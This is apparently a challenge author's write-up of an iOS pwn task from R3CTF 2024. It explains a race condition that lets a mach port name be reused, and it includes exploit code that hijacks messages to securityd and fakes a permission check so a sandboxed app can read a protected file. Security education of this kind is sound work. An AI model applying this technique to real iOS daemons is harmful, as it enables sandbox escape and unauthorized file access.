I authored two iOS pwning challenges in R3CTF 2024 a few weeks ago. This post is a write-up for the challenges.
pwn0win - Forbidden Content
This challenge requires you to read a file that is outside of application’s sandbox and not accessible by mobile user. The challenge was running on an iPhone 8 with iOS 16.7.1.
Players are given two executable files fileviewerd and securityd. And some .defs files related to the IPC interfaces of these two processes. The fileviewerd is a daemon that provides file viewing service to other applications. The securityd is a daemon that provides security verification service to fileviewerd.
The event handling is wrapped in a dispatch_async block which means the event processing can be raced. The problem now becomes what should we race for?
In XNU, the mach_port_name_t is a 32-bit integer used as an index in the task’s is_table to find the real port in kernel space.
This 32-bit integer can be reused after deallocation. Notice that our application can also get a send right to securityd, what if we can deallocate the securityd in fileviewerd and reuse the port name?
In our own process, we can look up for a send right to securityd and set it as the callback port in fileviewerd. When registering the callback port, fileviewerd will deallocate the old callback port if it exists.
So if we call this twice, the securityd port will be deallocated. But fileviewerd still uses the old port name to send messages to securityd. If we keep registering callback port we can probably reuse the port name and all messages sent to securityd will be sent to our callback port. This enables an MITM attack.
Exploit
First we can look up for the securityd port and set it as the callback port.
// Lookup the receiver port using the bootstrap server. kern_return_t kr = bootstrap_look_up(bootstrap_port, "com.xia0o0o0o.fileviewerd", &port); int mypid = getpid(); printf("My pid is %d\n", mypid); if (kr != KERN_SUCCESS) { printf("bootstrap_look_up() failed with code 0x%x\n", kr); return1; } printf("Port right name %d\n", port);
kr = bootstrap_look_up(bootstrap_port, "com.xia0o0o0o.securityd", &securityd_port); if (kr != KERN_SUCCESS) { printf("bootstrap_look_up() failed with code 0x%x\n", kr); return1; } kr = CLIENT_register_callback(port, securityd_port); if (kr != KERN_SUCCESS) { printf("CLIENT_register_callback() failed with code 0x%x\n", kr); return1; }
Then we can try to decrease the reference count of the port by
voiddec_ref(){ // create 2 threads to call race_condition() pthread_t thread1, thread2; pthread_create(&thread1, NULL, race_condition, NULL); pthread_create(&thread2, NULL, race_condition, NULL); // trigger sleep(1); trigger = 1; // wait for the threads to finish pthread_join(thread1, NULL); pthread_join(thread2, NULL); }
If everything goes well, the securityd port will be deallocated and we can reuse the port name.
We can create our own securityd message handling function and always return 0 to bypass the permission check.
1 2 3 4 5 6 7
int got = 0; // int got = 0; kern_return_tSERVER_check_perm(mach_port_t server_port, uint32_t uid, constchar *path){ printf("check permission for uid=%d path=%s\n", uid, path); got = 1; return KERN_SUCCESS; }
And now we can keep registering the callback port and wait for the message from fileviewerd.